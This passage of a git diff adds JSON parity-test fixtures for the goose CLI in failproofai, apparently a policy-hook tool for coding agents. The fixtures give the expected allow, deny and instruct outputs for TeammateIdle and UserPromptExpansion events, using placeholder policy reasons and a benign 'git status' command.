"sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..468d6269 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4d46ba24 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c38c36da --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6e0ee776 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e7f8f2af --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d2800261 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..9101ad88 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c38272be --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6545a12c --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..8d115fd1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..30edad61 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..326f5807 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..68c96023 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..094676bd --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bdea4f75 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b6565e1e --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2859e836 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..aca7cee8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..abdd2d48 --- /dev/null +++ b/__tests__/parity/fixtures/goose/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": 